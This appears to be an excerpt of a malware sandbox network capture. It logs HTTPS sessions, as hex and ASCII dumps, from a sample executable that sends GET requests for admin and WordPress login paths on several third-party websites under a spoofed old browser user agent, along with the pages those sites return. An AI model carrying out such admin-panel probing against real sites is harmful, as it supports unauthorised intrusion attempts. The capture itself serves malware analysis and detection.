2023-11-26 05:59:43 UTC	802	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 73 69 74 65 5f 76 65 72 73 69 6f 6e 5f 70 68 61 73 65 3d 31 30 38 3b 20 65 78 70 69 72 65 73 3d 57 65 64 2c 20 32 30 2d 4e 6f 76 2d 32 30 32 34 20 30 35 3a 35 39 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closecache-control: privatevary: Accept-Encodingset-cookie: site_version_phase=108; expires=Wed, 20-Nov-2024 05:59:
2023-11-26 05:59:43 UTC	567	IN	Data Raw: 39 32 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 74 Data Ascii: 925<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><met
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f Data Ascii: ss" /><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.co
2023-11-26 05:59:43 UTC	412	IN	Data Raw: 61 6d 69 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 66 75 6e 63 74 69 6f Data Ascii: amily=Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];functio
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 69 6d 65 6e 73 69 6f 6e 33 27 3a 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 0d 0a 7d 0d 0a 7d 29 3b 0d 0a 67 74 61 67 28 27 65 76 65 6e 74 27 2c 20 27 70 61 67 65 4c 6f 61 64 27 2c 20 7b 20 27 73 69 74 65 76 65 72 73 69 6f 6e 27 3a 20 27 48 44 76 33 27 20 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 61 20 68 72 65 66 3d 22 23 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 73 6b 69 70 2d 6d 61 69 6e 22 3e 53 6b 69 70 20 74 6f 20 6d 61 69 6e 20 63 6f 6e 74 65 6e 74 3c 2f 61 3e 0a 3c 68 65 61 64 65 72 20 69 64 3d 22 68 65 61 64 65 72 22 20 63 6c 61 73 73 3d 22 68 64 76 33 48 65 61 64 65 72 44 61 72 6b 42 6c 75 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 73 2d 6f 76 65 72 6c 61 79 2d 6d 6f 64 61 Data Ascii: 7ffaimension3': 'siteversion'}});gtag('event', 'pageLoad', { 'siteversion': 'HDv3' });</script></head><body><a href="#main" class="skip-main">Skip to main content</a><header id="header" class="hdv3HeaderDarkBlue"><div class="js-overlay-moda
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 48 65 61 64 65 72 20 44 6f 6d 61 69 6e 20 53 65 61 72 63 68 22 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 76 61 6c 75 65 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 74 6e 22 20 6f 6e 43 6c 69 63 6b 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 53 75 62 6d 69 74 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 20 22 20 73 74 79 6c 65 3d 22 6d 69 6e 2d 77 69 64 74 68 3a 39 30 70 78 3b 20 68 65 69 67 68 74 3a 33 35 70 78 3b 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 75 74 74 6f 6e 49 44 22 3e 53 65 61 72 63 68 3c 2f 62 75 74 74 6f 6e 3e 0a 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 76 61 6c 75 65 20 69 64 3d Data Ascii: ID" aria-label="Header Domain Search"><button type="submit" value class="search-btn" onClick="hdv3HeaderSearchSubmitFunc(); return false; " style="min-width:90px; height:35px;" id="hdv3HeaderSearchButtonID">Search</button><button type="button" value id=
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6e 64 65 78 2e 63 66 6d 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 66 61 71 2e 63 66 6d 22 3e 46 41 51 73 3c 2f 62 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 2d 6c 69 6e 6b 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 Data Ascii: "><a class="nav-link " href="https://www.HugeDomains.com/index.cfm">Home</a></li><li class="nav-item"><a class="nav-link " href="https://www.HugeDomains.com/faq.cfm">FAQs</b></a></li><li class="nav-item"><a class="nav-link " href="https://www.HugeD
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 76 3e 0a 3c 2f 6e 61 76 3e 0a 3c 2f 68 65 61 64 65 72 3e 0a 3c 6d 61 69 6e 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 6d 61 69 6e 20 22 3e 0a 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 64 75 63 74 2d 66 61 76 2d 77 72 61 70 70 20 63 6f 6e 74 61 69 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 64 65 2d 77 72 61 70 70 20 64 6e 2d 6d 6f 62 69 6c 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 6c 69 64 65 2d 73 69 64 65 62 61 72 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 69 6e 6e 65 72 2d 6e 65 77 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 73 2d 62 6c 6f 63 6b 2d 74 69 74 6c 65 20 67 72 65 65 6e 22 Data Ascii: v></nav></header><main class="site-main "><div class="product-fav-wrapp container"><div class="side-wrapp dn-mobile"><div class="slide-sidebar-block"><div class="ss-block-inner"><div class="ss-block-inner-new"><span class="ss-block-title green"
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 6d 2d 74 2d 30 20 22 20 69 64 3d 22 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 50 50 49 44 22 20 6f 6e 43 6c 69 63 6b 3d 22 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 50 50 49 44 27 29 2e 61 64 64 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f 61 64 27 29 3b 20 24 28 27 23 68 64 76 33 42 69 6c 6c 62 6f 61 72 64 31 39 37 50 50 50 72 6f 63 65 49 44 27 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 27 68 69 64 64 65 6e 41 74 4c 6f 61 64 27 29 3b 22 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a Data Ascii: "https://www.HugeDomains.com/payment-plan-setup.cfm?d=RobinsonLand.com" class="btn m-t-0 " id="hdv3Billboard197PPID" onClick="$('#hdv3Billboard197PPID').addClass('hiddenAtLoad'); $('#hdv3Billboard197PPProceID').removeClass('hiddenAtLoad');" style="height:
2023-11-26 05:59:43 UTC	1369	IN	Data Raw: 65 74 2d 73 69 64 65 2d 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 3e 54 61 6b 65 20 69 6d 6d 65 64 69 61 74 65 20 6f 77 6e 65 72 73 68 69 70 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 73 61 66 65 73 6d 61 6c 6c 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 3e 53 61 66 65 20 61 6e 64 20 73 65 63 75 72 65 Data Ascii: et-side-ico.png" alt></div><div class="content"><span>Take immediate ownership</span></div></li><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/safesmallico.png" alt></div><div class="content"><span>Safe and secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.4	49424	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	262	OUT	GET /wp-admin/ HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=Y9iVqDLjjy.4c42u423kB35hFI4xb1W3CLV4ZRxyw.Y-1700978381430-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	553	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: Wor
2023-11-26 05:59:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.4	49519	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	170	OUT	GET /admin HTTP/1.1 Host: www.2brospw.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	922	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 38 33 2e 33 36 39 31 30 33 35 31 37 32 31 38 38 31 33 34 35 36 32 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 6d 61 78 2d 61 67 65 3d 30 2c 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 53 65 72 76 65 72 3a Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978383.3691035172188134562Cache-Control: public,max-age=0,must-revalidateServer:
2023-11-26 05:59:43 UTC	330	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
2023-11-26 05:59:43 UTC	1252	IN	Data Raw: 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 74 68 69 72 64 2d 70 61 72 74 79 2f 66 6f 6e 74 73 2f 48 65 6c 76 65 74 69 63 61 2f 66 6f 6e 74 46 61 63 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 Data Ascii: ame="description" content=""> <meta name="viewport" content="width=device-width"> <meta name="robots" content="noindex, nofollow"> ... --> <link href="//static.parastorage.com/services/third-party/fonts/Helvetica/fontFace.css" rel="stylesheet" t
2023-11-26 05:59:43 UTC	1252	IN	Data Raw: 61 74 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 6c 6f 63 61 6c 65 2f 6d 65 73 73 61 67 65 73 5f 65 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 63 72 69 70 74 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 61 70 70 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 Data Ascii: ate.min.js"></script><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/locale/messages_en.js"></script> ... --><script src="//static.parastorage.com/services/wix-public/1.719.0/scripts/error-pages/app.js"></scrip
2023-11-26 05:59:43 UTC	31	IN	Data Raw: 72 69 66 69 63 61 74 69 6f 6e 20 2d 2d 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: rification --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.4	65467	81.19.159.64	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	239	OUT	GET /404/ HTTP/1.1 Host: www.grg17geblergasse.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://www.grg17geblergasse.at/-/-/-/-/-/-/-/-/-/-/
2023-11-26 05:59:44 UTC	421	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 2c 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 77 70 2d 6a 73 6f 6e 2f 77 70 2f 76 32 2f 6d 65 64 69 61 2f 32 36 35 36 3e 3b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 3b 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 2c 20 3c 68 74 74 70 73 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:43 GMTServer: ApacheLink: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/", <https://www.grg17geblergasse.at/wp-json/wp/v2/media/2656>; rel="alternate"; type="application/json", <https:
2023-11-26 05:59:44 UTC	7771	IN	Data Raw: 33 39 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 Data Ascii: 3957<!DOCTYPE html><html lang="de-DE"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://www.grg17geblergasse.at/xmlrpc.php" /><script type="text/javascript">document.docume
2023-11-26 05:59:45 UTC	6914	IN	Data Raw: 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d Data Ascii: .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;m
2023-11-26 05:59:45 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:45 UTC	8192	IN	Data Raw: 31 66 34 30 0d 0a 3c 73 74 79 6c 65 20 69 64 3d 27 64 69 76 69 2d 73 74 79 6c 65 2d 69 6e 6c 69 6e 65 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 2f 2a 21 0a 54 68 65 6d 65 20 4e 61 6d 65 3a 20 44 69 76 69 0a 54 68 65 6d 65 20 55 52 49 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 65 6c 65 67 61 6e 74 74 68 65 6d 65 73 2e 63 6f 6d 2f 67 61 6c 6c 65 72 79 2f 64 69 76 69 2f 0a 56 65 72 73 69 6f 6e 3a 20 34 2e 32 32 2e 32 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 53 6d 61 72 74 2e 20 46 6c 65 78 69 62 6c 65 2e 20 42 65 61 75 74 69 66 75 6c 2e 20 44 69 76 69 20 69 73 20 74 68 65 20 6d 6f 73 74 20 70 6f 77 65 72 66 75 6c 20 74 68 65 6d 65 20 69 6e 20 6f 75 72 20 63 6f 6c 6c 